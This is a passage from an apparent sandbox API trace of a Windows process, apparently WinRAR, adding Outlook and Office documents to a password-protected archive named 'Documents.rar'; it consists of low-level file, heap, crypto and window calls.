pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.432] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.432] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x33)) [0068.432] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.432] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14377382459) returned 1 [0068.433] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xc469, lpOverlapped=0x0) returned 1 [0068.434] ReadFile (in: hFile=0x1b0, lpBuffer=0x36ac4a9, nNumberOfBytesToRead=0xf3b97, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36ac4a9*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.434] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.434] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.434] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.434] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.434] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f80, Size=0x48) returned 0x39db40 [0068.434] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.434] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.434] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f80, Size=0x48) returned 0x39daf0 [0068.434] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.434] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.434] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.434] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.434] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63fb0 | out: hHeap=0x2e0000) returned 1 [0068.434] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f80 | out: hHeap=0x2e0000) returned 1 [0068.434] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f50, Size=0x48) returned 0x39db40 [0068.434] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7a) returned 0x3a3910 [0068.435] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.435] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.437] GetTickCount () returned 0xa6766a [0068.437] GetLastError () returned 0x0 [0068.437] SetLastError (dwErrCode=0x0) [0068.438] GetDlgItem (hDlg=0x10278, nIDDlgItem=158) returned 0x10284 [0068.438] GetDlgItem (hDlg=0x10278, nIDDlgItem=153) returned 0x10282 [0068.438] GetWindowTextW (in: hWnd=0x10282, lpString=0x1cbeb0, nMaxCount=2560 | out: lpString=" 100%") returned 5 [0068.438] SendMessageW (hWnd=0x10284, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x64 [0068.438] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14377800452) returned 1 [0068.438] GetTickCount () returned 0xa6766a [0068.438] GetTickCount () returned 0xa6766a [0068.438] GetTickCount () returned 0xa6766a [0068.438] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 1 [0068.438] GetMessageW (in: lpMsg=0x1cd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd790) returned 1 [0068.438] GetFocus () returned 0x0 [0068.438] TranslateMessage (lpMsg=0x1cd790) returned 0 [0068.438] DispatchMessageW (lpMsg=0x1cd790) returned 0x0 [0068.438] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.438] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.438] ResetEvent (hEvent=0x1a4) returned 1 [0068.439] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.440] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.440] ResetEvent (hEvent=0x1a4) returned 1 [0068.440] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.442] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.442] GetTickCount () returned 0xa6766a [0068.442] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14378235610) returned 1 [0068.442] GetTickCount () returned 0xa6766a [0068.442] GetTickCount () returned 0xa6766a [0068.442] GetTickCount () returned 0xa6766a [0068.442] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.442] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.442] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.442] ResetEvent (hEvent=0x190) returned 1 [0068.442] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.443] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.443] ResetEvent (hEvent=0x190) returned 1 [0068.443] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.443] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.443] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.443] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.443] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x25febb [0068.443] SetFilePointer (in: hFile=0x198, lDistanceToMove=101, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x25ff20 [0068.444] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.444] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.444] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.444] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.444] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.444] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xc500, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xc500, lpOverlapped=0x0) returned 1 [0068.445] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.445] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.445] SetFilePointer (in: hFile=0x198, lDistanceToMove=2490043, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x25febb [0068.445] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x25febb [0068.445] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.445] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.445] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f80, Size=0x48) returned 0x39daf0 [0068.445] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.445] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.445] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f80, Size=0x48) returned 0x39db40 [0068.445] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.445] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.445] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.445] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63fb0 | out: hHeap=0x2e0000) returned 1 [0068.445] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63f80 | out: hHeap=0x2e0000) returned 1 [0068.445] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f50, Size=0x48) returned 0x39daf0 [0068.445] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7a) returned 0x3a3910 [0068.445] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x65, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x65, lpOverlapped=0x0) returned 1 [0068.445] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f50 [0068.445] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x65) returned 0x3b64830 [0068.445] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.445] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.445] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x26c420 [0068.445] CloseHandle (hObject=0x1b0) returned 1 [0068.445] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.445] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.445] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.445] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.445] FindFirstFileW (in: lpFileName="Outlook Files\\asdfasdf@rrrrv.com.pst", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.445] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.445] CreateFileW (lpFileName="Outlook Files\\asdfasdf@rrrrv.com.pst" (normalized: "c:\\users\\whuoxysd\\documents\\outlook files\\asdfasdf@rrrrv.com.pst"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.446] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.446] GetTickCount () returned 0xa6766a [0068.446] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.446] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.446] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.446] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.446] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="OKr5u -WV3PR.xlsx") returned 17 [0068.446] SetWindowTextW (hWnd=0x10280, lpString="asdfasdf@rrrrv.com.pst") returned 1 [0068.447] GetTickCount () returned 0xa6766a [0068.447] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.447] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.447] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.447] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.447] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x43)) [0068.447] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.447] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14378761865) returned 1 [0068.447] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x42400, lpOverlapped=0x0) returned 1 [0068.458] ReadFile (in: hFile=0x1b0, lpBuffer=0x36e2440, nNumberOfBytesToRead=0xbdc00, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36e2440*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.458] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.458] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.458] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.458] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.458] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fb0, Size=0x48) returned 0x39db40 [0068.458] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.458] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.458] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fb0, Size=0x48) returned 0x39daf0 [0068.458] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.458] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.458] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.458] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.458] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63fe0 | out: hHeap=0x2e0000) returned 1 [0068.458] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63fb0 | out: hHeap=0x2e0000) returned 1 [0068.458] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f80, Size=0x48) returned 0x39db40 [0068.458] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7c) returned 0x3a3910 [0068.458] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.458] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.459] GetTickCount () returned 0xa67679 [0068.459] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14379980806) returned 1 [0068.459] GetTickCount () returned 0xa67679 [0068.459] GetTickCount () returned 0xa67679 [0068.459] GetTickCount () returned 0xa67679 [0068.459] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.460] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.460] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.460] ResetEvent (hEvent=0x1a4) returned 1 [0068.460] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.461] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.461] ResetEvent (hEvent=0x1a4) returned 1 [0068.461] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.476] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.476] ResetEvent (hEvent=0x1a4) returned 1 [0068.476] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.478] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.478] GetTickCount () returned 0xa67689 [0068.478] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14381872893) returned 1 [0068.478] GetTickCount () returned 0xa67689 [0068.478] GetTickCount () returned 0xa67689 [0068.478] GetTickCount () returned 0xa67689 [0068.478] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 1 [0068.478] GetMessageW (in: lpMsg=0x1cd760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x1cd760) returned 1 [0068.478] GetFocus () returned 0x0 [0068.478] TranslateMessage (lpMsg=0x1cd760) returned 0 [0068.479] DispatchMessageW (lpMsg=0x1cd760) returned 0x0 [0068.479] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.479] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.479] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.479] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.479] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x26c420 [0068.479] SetFilePointer (in: hFile=0x198, lDistanceToMove=121, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x26c499 [0068.479] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.479] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.479] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.479] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.479] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x2e10, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x2e10, lpOverlapped=0x0) returned 1 [0068.479] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.479] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.479] SetFilePointer (in: hFile=0x198, lDistanceToMove=2540576, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x26c420 [0068.479] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x26c420 [0068.480] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.480] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.480] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fb0, Size=0x48) returned 0x39daf0 [0068.480] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.480] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.480] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63fb0, Size=0x48) returned 0x39db40 [0068.480] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.480] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fb0 [0068.480] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63fe0 [0068.480] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63fe0 | out: hHeap=0x2e0000) returned 1 [0068.480] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b63fb0 | out: hHeap=0x2e0000) returned 1 [0068.480] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b63f80, Size=0x48) returned 0x39daf0 [0068.480] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7c) returned 0x3a3910 [0068.480] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x79, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x79, lpOverlapped=0x0) returned 1 [0068.480] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b63f80 [0068.480] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x79) returned 0x3a39a0 [0068.480] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.480] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.480] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x26f2a9 [0068.480] CloseHandle (hObject=0x1b0) returned 1 [0068.480] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.480] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.480] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.480] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.480] FindFirstFileW (in: lpFileName="payrmo-.docx", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.480] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.480] CreateFileW (lpFileName="payrmo-.docx" (normalized: "c:\\users\\whuoxysd\\documents\\payrmo-.docx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.480] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.480] GetTickCount () returned 0xa67689 [0068.480] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.480] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.480] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.480] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.480] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="asdfasdf@rrrrv.com.pst") returned 22 [0068.480] SetWindowTextW (hWnd=0x10280, lpString="payrmo-.docx") returned 1 [0068.481] GetTickCount () returned 0xa67689 [0068.481] UpdateWindow (hWnd=0x10278) returned 1 [0068.481] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.481] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: 